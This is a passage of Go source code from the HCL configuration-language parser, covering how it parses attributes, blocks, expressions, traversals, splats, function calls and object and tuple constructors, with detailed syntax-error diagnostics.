attrDiags := p.finishParsingBodyAttribute(ident, true) diags = append(diags, attrDiags...) attr = node.(*Attribute) case TokenOQuote, TokenOBrace, TokenIdent: p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument definition required", Detail: fmt.Sprintf("A single-line block definition can contain only a single argument. If you meant to define argument %q, use an equals sign to assign it a value. To define a nested block, place it on a line of its own within its parent block.", ident.Bytes), Subject: hcl.RangeBetween(ident.Range, next.Range).Ptr(), }, } default: p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here. To set an argument, use the equals sign \"=\" to introduce the argument value.", Subject: &ident.Range, }, } } return &Body{ Attributes: Attributes{ string(ident.Bytes): attr, }, SrcRange: attr.SrcRange, EndRange: hcl.Range{ Filename: attr.SrcRange.Filename, Start: attr.SrcRange.End, End: attr.SrcRange.End, }, }, diags } func (p *parser) finishParsingBodyAttribute(ident Token, singleLine bool) (Node, hcl.Diagnostics) { eqTok := p.Read() // eat equals token if eqTok.Type != TokenEqual { // should never happen if caller behaves panic("finishParsingBodyAttribute called with next not equals") } var endRange hcl.Range expr, diags := p.ParseExpression() if p.recovery && diags.HasErrors() { // recovery within expressions tends to be tricky, so we've probably // landed somewhere weird. We'll try to reset to the start of a body // item so parsing can continue. endRange = p.PrevRange() p.recoverAfterBodyItem() } else { endRange = p.PrevRange() if !singleLine { end := p.Peek() if end.Type != TokenNewline && end.Type != TokenEOF { if !p.recovery { summary := "Missing newline after argument" detail := "An argument definition must end with a newline." if end.Type == TokenComma { summary = "Unexpected comma after argument" detail = "Argument definitions must be separated by newlines, not commas. " + detail } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: summary, Detail: detail, Subject: &end.Range, Context: hcl.RangeBetween(ident.Range, end.Range).Ptr(), }) } endRange = p.PrevRange() p.recoverAfterBodyItem() } else { endRange = p.PrevRange() p.Read() // eat newline } } } return &Attribute{ Name: string(ident.Bytes), Expr: expr, SrcRange: hcl.RangeBetween(ident.Range, endRange), NameRange: ident.Range, EqualsRange: eqTok.Range, }, diags } func (p *parser) finishParsingBodyBlock(ident Token) (Node, hcl.Diagnostics) { var blockType = string(ident.Bytes) var diags hcl.Diagnostics var labels []string var labelRanges []hcl.Range var oBrace Token Token: for { tok := p.Peek() switch tok.Type { case TokenOBrace: oBrace = p.Read() break Token case TokenOQuote: label, labelRange, labelDiags := p.parseQuotedStringLiteral() diags = append(diags, labelDiags...) labels = append(labels, label) labelRanges = append(labelRanges, labelRange) // parseQuoteStringLiteral recovers up to the closing quote // if it encounters problems, so we can continue looking for // more labels and eventually the block body even. case TokenIdent: tok = p.Read() // eat token label, labelRange := string(tok.Bytes), tok.Range labels = append(labels, label) labelRanges = append(labelRanges, labelRange) default: switch tok.Type { case TokenEqual: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid block definition", Detail: "The equals sign \"=\" indicates an argument definition, and must not be used when defining a block.", Subject: &tok.Range, Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), }) case TokenNewline: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid block definition", Detail: "A block definition must have block content delimited by \"{\" and \"}\", starting on the same line as the block header.", Subject: &tok.Range, Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), }) default: if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid block definition", Detail: "Either a quoted string block label or an opening brace (\"{\") is expected here.", Subject: &tok.Range, Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), }) } } p.recoverAfterBodyItem() return &Block{ Type: blockType, Labels: labels, Body: &Body{ SrcRange: ident.Range, EndRange: ident.Range, }, TypeRange: ident.Range, LabelRanges: labelRanges, OpenBraceRange: ident.Range, // placeholder CloseBraceRange: ident.Range, // placeholder }, diags } } // Once we fall out here, the peeker is pointed just after our opening // brace, so we can begin our nested body parsing. var body *Body var bodyDiags hcl.Diagnostics switch p.Peek().Type { case TokenNewline, TokenEOF, TokenCBrace: body, bodyDiags = p.ParseBody(TokenCBrace) default: // Special one-line, single-attribute block parsing mode. body, bodyDiags = p.parseSingleAttrBody(TokenCBrace) switch p.Peek().Type { case TokenCBrace: p.Read() // the happy path - just consume the closing brace case TokenComma: // User seems to be trying to use the object-constructor // comma-separated style, which isn't permitted for blocks. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid single-argument block definition", Detail: "Single-line block syntax can include only one argument definition. To define multiple arguments, use the multi-line block syntax with one argument definition per line.", Subject: p.Peek().Range.Ptr(), }) p.recover(TokenCBrace) case TokenNewline: // We don't allow weird mixtures of single and multi-line syntax. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid single-argument block definition", Detail: "An argument definition on the same line as its containing block creates a single-line block definition, which must also be closed on the same line. Place the block's closing brace immediately after the argument definition.", Subject: p.Peek().Range.Ptr(), }) p.recover(TokenCBrace) default: // Some other weird thing is going on. Since we can't guess a likely // user intent for this one, we'll skip it if we're already in // recovery mode. if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid single-argument block definition", Detail: "A single-line block definition must end with a closing brace immediately after its single argument definition.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenCBrace) } } diags = append(diags, bodyDiags...) cBraceRange := p.PrevRange() eol := p.Peek() if eol.Type == TokenNewline || eol.Type == TokenEOF { p.Read() // eat newline } else { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing newline after block definition", Detail: "A block definition must end with a newline.", Subject: &eol.Range, Context: hcl.RangeBetween(ident.Range, eol.Range).Ptr(), }) } p.recoverAfterBodyItem() } // We must never produce a nil body, since the caller may attempt to // do analysis of a partial result when there's an error, so we'll // insert a placeholder if we otherwise failed to produce a valid // body due to one of the syntax error paths above. if body == nil && diags.HasErrors() { body = &Body{ SrcRange: hcl.RangeBetween(oBrace.Range, cBraceRange), EndRange: cBraceRange, } } return &Block{ Type: blockType, Labels: labels, Body: body, TypeRange: ident.Range, LabelRanges: labelRanges, OpenBraceRange: oBrace.Range, CloseBraceRange: cBraceRange, }, diags } func (p *parser) ParseExpression() (Expression, hcl.Diagnostics) { return p.parseTernaryConditional() } func (p *parser) parseTernaryConditional() (Expression, hcl.Diagnostics) { // The ternary conditional operator (.. ? .. : ..) behaves somewhat // like a binary operator except that the "symbol" is itself // an expression enclosed in two punctuation characters. // The middle expression is parsed as if the ? and : symbols // were parentheses. The "rhs" (the "false expression") is then // treated right-associatively so it behaves similarly to the // middle in terms of precedence. startRange := p.NextRange() var condExpr, trueExpr, falseExpr Expression var diags hcl.Diagnostics condExpr, condDiags := p.parseBinaryOps(binaryOps) diags = append(diags, condDiags...) if p.recovery && condDiags.HasErrors() { return condExpr, diags } questionMark := p.Peek() if questionMark.Type != TokenQuestion { return condExpr, diags } p.Read() // eat question mark trueExpr, trueDiags := p.ParseExpression() diags = append(diags, trueDiags...) if p.recovery && trueDiags.HasErrors() { return condExpr, diags } colon := p.Peek() if colon.Type != TokenColon { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing false expression in conditional", Detail: "The conditional operator (...?...:...) requires a false expression, delimited by a colon.", Subject: &colon.Range, Context: hcl.RangeBetween(startRange, colon.Range).Ptr(), }) return condExpr, diags } p.Read() // eat colon falseExpr, falseDiags := p.ParseExpression() diags = append(diags, falseDiags...) if p.recovery && falseDiags.HasErrors() { return condExpr, diags } return &ConditionalExpr{ Condition: condExpr, TrueResult: trueExpr, FalseResult: falseExpr, SrcRange: hcl.RangeBetween(startRange, falseExpr.Range()), }, diags } // parseBinaryOps calls itself recursively to work through all of the // operator precedence groups, and then eventually calls parseExpressionTerm // for each operand. func (p *parser) parseBinaryOps(ops []map[TokenType]*Operation) (Expression, hcl.Diagnostics) { if len(ops) == 0 { // We've run out of operators, so now we'll just try to parse a term. return p.parseExpressionWithTraversals() } thisLevel := ops[0] remaining := ops[1:] var lhs, rhs Expression var operation *Operation var diags hcl.Diagnostics // Parse a term that might be the first operand of a binary // operation or it might just be a standalone term. // We won't know until we've parsed it and can look ahead // to see if there's an operator token for this level. lhs, lhsDiags := p.parseBinaryOps(remaining) diags = append(diags, lhsDiags...) if p.recovery && lhsDiags.HasErrors() { return lhs, diags } // We'll keep eating up operators until we run out, so that operators // with the same precedence will combine in a left-associative manner: // a+b+c => (a+b)+c, not a+(b+c) // // Should we later want to have right-associative operators, a way // to achieve that would be to call back up to ParseExpression here // instead of iteratively parsing only the remaining operators. for { next := p.Peek() var newOp *Operation var ok bool if newOp, ok = thisLevel[next.Type]; !ok { break } // Are we extending an expression started on the previous iteration? if operation != nil { lhs = &BinaryOpExpr{ LHS: lhs, Op: operation, RHS: rhs, SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()), } } operation = newOp p.Read() // eat operator token var rhsDiags hcl.Diagnostics rhs, rhsDiags = p.parseBinaryOps(remaining) diags = append(diags, rhsDiags...) if p.recovery && rhsDiags.HasErrors() { return lhs, diags } } if operation == nil { return lhs, diags } return &BinaryOpExpr{ LHS: lhs, Op: operation, RHS: rhs, SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()), }, diags } func (p *parser) parseExpressionWithTraversals() (Expression, hcl.Diagnostics) { term, diags := p.parseExpressionTerm() ret, moreDiags := p.parseExpressionTraversals(term) diags = append(diags, moreDiags...) return ret, diags } func (p *parser) parseExpressionTraversals(from Expression) (Expression, hcl.Diagnostics) { var diags hcl.Diagnostics ret := from Traversal: for { next := p.Peek() switch next.Type { case TokenDot: // Attribute access or splat dot := p.Read() attrTok := p.Peek() switch attrTok.Type { case TokenIdent: attrTok = p.Read() // eat token name := string(attrTok.Bytes) rng := hcl.RangeBetween(dot.Range, attrTok.Range) step := hcl.TraverseAttr{ Name: name, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) case TokenNumberLit: // This is a weird form we inherited from HIL, allowing numbers // to be used as attributes as a weird way of writing [n]. // This was never actually a first-class thing in HIL, but // HIL tolerated sequences like .0. in its variable names and // calling applications like Terraform exploited that to // introduce indexing syntax where none existed. numTok := p.Read() // eat token attrTok = numTok // This syntax is ambiguous if multiple indices are used in // succession, like foo.0.1.baz: that actually parses as // a fractional number 0.1. Since we're only supporting this // syntax for compatibility with legacy Terraform // configurations, and Terraform does not tend to have lists // of lists, we'll choose to reject that here with a helpful // error message, rather than failing later because the index // isn't a whole number. if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 { first := numTok.Bytes[:dotIdx] second := numTok.Bytes[dotIdx+1:] diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid legacy index syntax", Detail: fmt.Sprintf("When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax instead, like [%s][%s].", first, second), Subject: &attrTok.Range, }) rng := hcl.RangeBetween(dot.Range, numTok.Range) step := hcl.TraverseIndex{ Key: cty.DynamicVal, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) break } numVal, numDiags := p.numberLitValue(numTok) diags = append(diags, numDiags...) rng := hcl.RangeBetween(dot.Range, numTok.Range) step := hcl.TraverseIndex{ Key: numVal, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) case TokenStar: // "Attribute-only" splat expression. // (This is a kinda weird construct inherited from HIL, which // behaves a bit like a [*] splat except that it is only able // to do attribute traversals into each of its elements, // whereas foo[*] can support _any_ traversal. marker := p.Read() // eat star trav := make(hcl.Traversal, 0, 1) var firstRange, lastRange hcl.Range firstRange = p.NextRange() lastRange = marker.Range for p.Peek().Type == TokenDot { dot := p.Read() if p.Peek().Type == TokenNumberLit { // Continuing the "weird stuff inherited from HIL" // theme, we also allow numbers as attribute names // inside splats and interpret them as indexing // into a list, for expressions like: // foo.bar.*.baz.0.foo numTok := p.Read() // Weird special case if the user writes something // like foo.bar.*.baz.0.0.foo, where 0.0 parses // as a number. if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 { first := numTok.Bytes[:dotIdx] second := numTok.Bytes[dotIdx+1:] diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid legacy index syntax", Detail: fmt.Sprintf("When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax with a full splat expression [*] instead, like [%s][%s].", first, second), Subject: &attrTok.Range, }) trav = append(trav, hcl.TraverseIndex{ Key: cty.DynamicVal, SrcRange: hcl.RangeBetween(dot.Range, numTok.Range), }) lastRange = numTok.Range continue } numVal, numDiags := p.numberLitValue(numTok) diags = append(diags, numDiags...) trav = append(trav, hcl.TraverseIndex{ Key: numVal, SrcRange: hcl.RangeBetween(dot.Range, numTok.Range), }) lastRange = numTok.Range continue } if p.Peek().Type != TokenIdent { if !p.recovery { if p.Peek().Type == TokenStar { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Nested splat expression not allowed", Detail: "A splat expression (*) cannot be used inside another attribute-only splat expression.", Subject: p.Peek().Range.Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid attribute name", Detail: "An attribute name is required after a dot.", Subject: &attrTok.Range, }) } } p.setRecovery() continue Traversal } attrTok := p.Read() trav = append(trav, hcl.TraverseAttr{ Name: string(attrTok.Bytes), SrcRange: hcl.RangeBetween(dot.Range, attrTok.Range), }) lastRange = attrTok.Range } itemExpr := &AnonSymbolExpr{ SrcRange: hcl.RangeBetween(dot.Range, marker.Range), } var travExpr Expression if len(trav) == 0 { travExpr = itemExpr } else { travExpr = &RelativeTraversalExpr{ Source: itemExpr, Traversal: trav, SrcRange: hcl.RangeBetween(firstRange, lastRange), } } ret = &SplatExpr{ Source: ret, Each: travExpr, Item: itemExpr, SrcRange: hcl.RangeBetween(from.Range(), lastRange), MarkerRange: hcl.RangeBetween(dot.Range, marker.Range), } default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid attribute name", Detail: "An attribute name is required after a dot.", Subject: &attrTok.Range, }) // This leaves the peeker in a bad place, so following items // will probably be misparsed until we hit something that // allows us to re-sync. // // We will probably need to do something better here eventually // in order to support autocomplete triggered by typing a // period. p.setRecovery() } case TokenOBrack: // Indexing of a collection. // This may or may not be a hcl.Traverser, depending on whether // the key value is something constant. open := p.Read() switch p.Peek().Type { case TokenStar: // This is a full splat expression, like foo[*], which consumes // the rest of the traversal steps after it using a recursive // call to this function. p.Read() // consume star close := p.Read() if close.Type != TokenCBrack && !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing close bracket on splat index", Detail: "The star for a full splat operator must be immediately followed by a closing bracket (\"]\").", Subject: &close.Range, }) close = p.recover(TokenCBrack) } // Splat expressions use a special "anonymous symbol" as a // placeholder in an expression to be evaluated once for each // item in the source expression. itemExpr := &AnonSymbolExpr{ SrcRange: hcl.RangeBetween(open.Range, close.Range), } // Now we'll recursively call this same function to eat any // remaining traversal steps against the anonymous symbol. travExpr, nestedDiags := p.parseExpressionTraversals(itemExpr) diags = append(diags, nestedDiags...) ret = &SplatExpr{ Source: ret, Each: travExpr, Item: itemExpr, SrcRange: hcl.RangeBetween(from.Range(), travExpr.Range()), MarkerRange: hcl.RangeBetween(open.Range, close.Range), } default: var close Token p.PushIncludeNewlines(false) // arbitrary newlines allowed in brackets keyExpr, keyDiags := p.ParseExpression() diags = append(diags, keyDiags...) if p.recovery && keyDiags.HasErrors() { close = p.recover(TokenCBrack) } else { close = p.Read() if close.Type != TokenCBrack && !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing close bracket on index", Detail: "The index operator must end with a closing bracket (\"]\").", Subject: &close.Range, }) close = p.recover(TokenCBrack) } } p.PopIncludeNewlines() if lit, isLit := keyExpr.(*LiteralValueExpr); isLit { litKey, _ := lit.Value(nil) rng := hcl.RangeBetween(open.Range, close.Range) step := hcl.TraverseIndex{ Key: litKey, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) } else if tmpl, isTmpl := keyExpr.(*TemplateExpr); isTmpl && tmpl.IsStringLiteral() { litKey, _ := tmpl.Value(nil) rng := hcl.RangeBetween(open.Range, close.Range) step := hcl.TraverseIndex{ Key: litKey, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) } else { rng := hcl.RangeBetween(open.Range, close.Range) ret = &IndexExpr{ Collection: ret, Key: keyExpr, SrcRange: hcl.RangeBetween(from.Range(), rng), OpenRange: open.Range, BracketRange: rng, } } } default: break Traversal } } return ret, diags } // makeRelativeTraversal takes an expression and a traverser and returns // a traversal expression that combines the two. If the given expression // is already a traversal, it is extended in place (mutating it) and // returned. If it isn't, a new RelativeTraversalExpr is created and returned. func makeRelativeTraversal(expr Expression, next hcl.Traverser, rng hcl.Range) Expression { switch texpr := expr.(type) { case *ScopeTraversalExpr: texpr.Traversal = append(texpr.Traversal, next) texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng) return texpr case *RelativeTraversalExpr: texpr.Traversal = append(texpr.Traversal, next) texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng) return texpr default: return &RelativeTraversalExpr{ Source: expr, Traversal: hcl.Traversal{next}, SrcRange: hcl.RangeBetween(expr.Range(), rng), } } } func (p *parser) parseExpressionTerm() (Expression, hcl.Diagnostics) { start := p.Peek() switch start.Type { case TokenOParen: oParen := p.Read() // eat open paren p.PushIncludeNewlines(false) expr, diags := p.ParseExpression() if diags.HasErrors() { // attempt to place the peeker after our closing paren // before we return, so that the next parser has some // chance of finding a valid expression. p.recover(TokenCParen) p.PopIncludeNewlines() return expr, diags } close := p.Peek() if close.Type != TokenCParen { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unbalanced parentheses", Detail: "Expected a closing parenthesis to terminate the expression.", Subject: &close.Range, Context: hcl.RangeBetween(start.Range, close.Range).Ptr(), }) p.setRecovery() } cParen := p.Read() // eat closing paren p.PopIncludeNewlines() // Our parser's already taken care of the precedence effect of the // parentheses by considering them to be a kind of "term", but we // still need to include the parentheses in our AST so we can give // an accurate representation of the source range that includes the // open and closing parentheses. expr = &ParenthesesExpr{ Expression: expr, SrcRange: hcl.RangeBetween(oParen.Range, cParen.Range), } return expr, diags case TokenNumberLit: tok := p.Read() // eat number token numVal, diags := p.numberLitValue(tok) return &LiteralValueExpr{ Val: numVal, SrcRange: tok.Range, }, diags case TokenIdent: tok := p.Read() // eat identifier token if p.Peek().Type == TokenOParen { return p.finishParsingFunctionCall(tok) } name := string(tok.Bytes) switch name { case "true": return &LiteralValueExpr{ Val: cty.True, SrcRange: tok.Range, }, nil case "false": return &LiteralValueExpr{ Val: cty.False, SrcRange: tok.Range, }, nil case "null": return &LiteralValueExpr{ Val: cty.NullVal(cty.DynamicPseudoType), SrcRange: tok.Range, }, nil default: return &ScopeTraversalExpr{ Traversal: hcl.Traversal{ hcl.TraverseRoot{ Name: name, SrcRange: tok.Range, }, }, SrcRange: tok.Range, }, nil } case TokenOQuote, TokenOHeredoc: open := p.Read() // eat opening marker closer := p.oppositeBracket(open.Type) exprs, passthru, _, diags := p.parseTemplateInner(closer, tokenOpensFlushHeredoc(open)) closeRange := p.PrevRange() if passthru { if len(exprs) != 1 { panic("passthru set with len(exprs) != 1") } return &TemplateWrapExpr{ Wrapped: exprs[0], SrcRange: hcl.RangeBetween(open.Range, closeRange), }, diags } return &TemplateExpr{ Parts: exprs, SrcRange: hcl.RangeBetween(open.Range, closeRange), }, diags case TokenMinus: tok := p.Read() // eat minus token // Important to use parseExpressionWithTraversals rather than parseExpression // here, otherwise we can capture a following binary expression into // our negation. // e.g. -46+5 should parse as (-46)+5, not -(46+5) operand, diags := p.parseExpressionWithTraversals() return &UnaryOpExpr{ Op: OpNegate, Val: operand, SrcRange: hcl.RangeBetween(tok.Range, operand.Range()), SymbolRange: tok.Range, }, diags case TokenBang: tok := p.Read() // eat bang token // Important to use parseExpressionWithTraversals rather than parseExpression // here, otherwise we can capture a following binary expression into // our negation. operand, diags := p.parseExpressionWithTraversals() return &UnaryOpExpr{ Op: OpLogicalNot, Val: operand, SrcRange: hcl.RangeBetween(tok.Range, operand.Range()), SymbolRange: tok.Range, }, diags case TokenOBrack: return p.parseTupleCons() case TokenOBrace: return p.parseObjectCons() default: var diags hcl.Diagnostics if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expression", Detail: "Expected the start of an expression, but found an invalid expression token.", Subject: &start.Range, }) } p.setRecovery() // Return a placeholder so that the AST is still structurally sound // even in the presence of parse errors. return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: start.Range, }, diags } } func (p *parser) numberLitValue(tok Token) (cty.Value, hcl.Diagnostics) { // The cty.ParseNumberVal is always the same behavior as converting a // string to a number, ensuring we always interpret decimal numbers in // the same way. numVal, err := cty.ParseNumberVal(string(tok.Bytes)) if err != nil { ret := cty.UnknownVal(cty.Number) return ret, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid number literal", // FIXME: not a very good error message, but convert only // gives us "a number is required", so not much help either. Detail: "Failed to recognize the value of this number literal.", Subject: &tok.Range, }, } } return numVal, nil } // finishParsingFunctionCall parses a function call assuming that the function // name was already read, and so the peeker should be pointing at the opening // parenthesis after the name. func (p *parser) finishParsingFunctionCall(name Token) (Expression, hcl.Diagnostics) { openTok := p.Read() if openTok.Type != TokenOParen { // should never happen if callers behave panic("finishParsingFunctionCall called with non-parenthesis as next token") } var args []Expression var diags hcl.Diagnostics var expandFinal bool var closeTok Token // Arbitrary newlines are allowed inside the function call parentheses. p.PushIncludeNewlines(false) Token: for { tok := p.Peek() if tok.Type == TokenCParen { closeTok = p.Read() // eat closing paren break Token } arg, argDiags := p.ParseExpression() args = append(args, arg) diags = append(diags, argDiags...) if p.recovery && argDiags.HasErrors() { // if there was a parse error in the argument then we've // probably been left in a weird place in the token stream, // so we'll bail out with a partial argument list. p.recover(TokenCParen) break Token } sep := p.Read() if sep.Type == TokenCParen { closeTok = sep break Token } if sep.Type == TokenEllipsis { expandFinal = true if p.Peek().Type != TokenCParen { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing closing parenthesis", Detail: "An expanded function argument (with ...) must be immediately followed by closing parentheses.", Subject: &sep.Range, Context: hcl.RangeBetween(name.Range, sep.Range).Ptr(), }) } closeTok = p.recover(TokenCParen) } else { closeTok = p.Read() // eat closing paren } break Token } if sep.Type != TokenComma { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing argument separator", Detail: "A comma is required to separate each function argument from the next.", Subject: &sep.Range, Context: hcl.RangeBetween(name.Range, sep.Range).Ptr(), }) closeTok = p.recover(TokenCParen) break Token } if p.Peek().Type == TokenCParen { // A trailing comma after the last argument gets us in here. closeTok = p.Read() // eat closing paren break Token } } p.PopIncludeNewlines() return &FunctionCallExpr{ Name: string(name.Bytes), Args: args, ExpandFinal: expandFinal, NameRange: name.Range, OpenParenRange: openTok.Range, CloseParenRange: closeTok.Range, }, diags } func (p *parser) parseTupleCons() (Expression, hcl.Diagnostics) { open := p.Read() if open.Type != TokenOBrack { // Should never happen if callers are behaving panic("parseTupleCons called without peeker pointing to open bracket") } p.PushIncludeNewlines(false) defer p.PopIncludeNewlines() if forKeyword.TokenMatches(p.Peek()) { return p.finishParsingForExpr(open) } var close Token var diags hcl.Diagnostics var exprs []Expression for { next := p.Peek() if next.Type == TokenCBrack { close = p.Read() // eat closer break } expr, exprDiags := p.ParseExpression() exprs = append(exprs, expr) diags = append(diags, exprDiags...) if p.recovery && exprDiags.HasErrors() { // If expression parsing failed then we are probably in a strange // place in the token stream, so we'll bail out and try to reset // to after our closing bracket to allow parsing to continue. close = p.recover(TokenCBrack) break } next = p.Peek() if next.Type == TokenCBrack { close = p.Read() // eat closer break } if next.Type != TokenComma { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing item separator", Detail: "Expected a comma to mark the beginning of the next item.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) } close = p.recover(TokenCBrack) break } p.Read() // eat comma } return &TupleConsExpr{ Exprs: exprs, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, }, diags } func (p *parser) parseObjectCons() (Expression, hcl.Diagnostics) { open := p.Read() if open.Type != TokenOBrace { // Should never happen if callers are behaving panic("parseObjectCons called without peeker pointing to open brace") } // We must temporarily stop looking at newlines here while we check for // a "for" keyword, since for expressions are _not_ newline-sensitive, // even though object constructors are. p.PushIncludeNewlines(false) isFor := forKeyword.TokenMatches(p.Peek()) p.PopIncludeNewlines() if isFor { return p.finishParsingForExpr(open) } p.PushIncludeNewlines(true) defer p.PopIncludeNewlines() var close Token var diags hcl.Diagnostics var items []ObjectConsItem for { next := p.Peek() if next.Type == TokenNewline { p.Read() // eat newline continue } if next.Type == TokenCBrace { close = p.Read() // eat closer break } // Wrapping parens are not explicitly represented in the AST, but // we want to use them here to disambiguate interpreting a mapping // key as a full expression rather than just a name, and so // we'll remember this was present and use it to force the // behavior of our final ObjectConsKeyExpr. forceNonLiteral := (p.Peek().Type == TokenOParen) var key Expression var keyDiags hcl.Diagnostics key, keyDiags = p.ParseExpression() diags = append(diags, keyDiags...) if p.recovery && keyDiags.HasErrors() { // If expression parsing failed then we are probably in a strange // place in the token stream, so we'll bail out and try to reset // to after our closing brace to allow parsing to continue. close = p.recover(TokenCBrace) break } // We wrap up the key expression in a special wrapper that deals // with our special case that naked identifiers as object keys // are interpreted as literal strings. key = &ObjectConsKeyExpr{ Wrapped: key, ForceNonLiteral: forceNonLiteral, } next = p.Peek() if next.Type != TokenEqual && next.Type != TokenColon { if !p.recovery { switch next.Type { case TokenNewline, TokenComma: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute value", Detail: "Expected an attribute value, introduced by an equals sign (\"=\").", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) case TokenIdent: // Although this might just be a plain old missing equals // sign before a reference, one way to get here is to try // to write an attribute name containing a period followed // by a digit, which was valid in HCL1, like this: // foo1.2_bar = "baz" // We can't know exactly what the user intended here, but // we'll augment our message with an extra hint in this case // in case it is helpful. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing key/value separator", Detail: "Expected an equals sign (\"=\") to mark the beginning of the attribute value. If you intended to given an attribute name containing periods or spaces, write the name in quotes to create a string literal.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing key/value separator", Detail: "Expected an equals sign (\"=\") to mark the beginning of the attribute value.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) } } close = p.recover(TokenCBrace) break } p.Read() // eat equals sign or colon value, valueDiags := p.ParseExpression() diags = append(diags, valueDiags...) if p.recovery && valueDiags.HasErrors() { // If expression parsing failed then we are probably in a strange // place in the token stream, so we'll bail out and try to reset // to after our closing brace to allow parsing to continue. close = p.recover(TokenCBrace) break } items = append(items, ObjectConsItem{ KeyExpr: key, ValueExpr: value, }) next = p.Peek() if next.Type == TokenCBrace { close = p.Read() // eat closer break } if next.Type != TokenComma && next.Type != TokenNewline { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute separator", Detail: "Expected a newline or comma to mark the beginning of the next attribute.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) } close = p.recover(TokenCBrace) break } p.Read() // eat comma or newline } return &ObjectConsExpr{ Items: items, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, }, diags } func (p *parser) finishParsingForExpr(open Token) (Expression, hcl.Diagnostics) { p.PushIncludeNewlines(false) defer p.PopIncludeNewlines() introducer := p.Read() if !forKeyword.TokenMatches(introducer) { // Should never happen if callers are behaving panic("finishParsingForExpr called without peeker pointing to 'for' identifier") } var makeObj bool var closeType TokenType switch open.Type { case TokenOBrace: makeObj = true closeType = TokenCBrace case TokenOBrack: makeObj = false // making a tuple closeType = TokenCBrack default: // Should never happen if callers are behaving panic("finishParsingForExpr called with invalid open token") } var diags hcl.Diagnostics var keyName, valName string if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires variable name after 'for'.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } valName = string(p.Read().Bytes) if p.Peek().Type == TokenComma { // What we just read was actually the key, then. keyName = valName p.Read() // eat comma if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires value variable name after comma.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } valName = string(p.Read().Bytes) } if !inKeyword.TokenMatches(p.Peek()) { if !p.recovery { diags = append(diags, 